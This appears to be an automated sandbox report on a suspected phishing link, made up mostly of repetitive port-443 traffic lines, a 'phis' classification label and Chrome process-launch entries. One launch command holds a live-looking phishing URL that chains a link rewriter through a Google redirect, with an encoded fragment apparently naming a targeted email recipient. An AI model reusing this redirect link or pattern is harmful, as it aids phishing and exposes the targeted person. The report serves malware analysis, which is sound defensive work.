Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49726 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@22/275@160/49

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2276,i,12838566996055699050,5134391891814373256,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
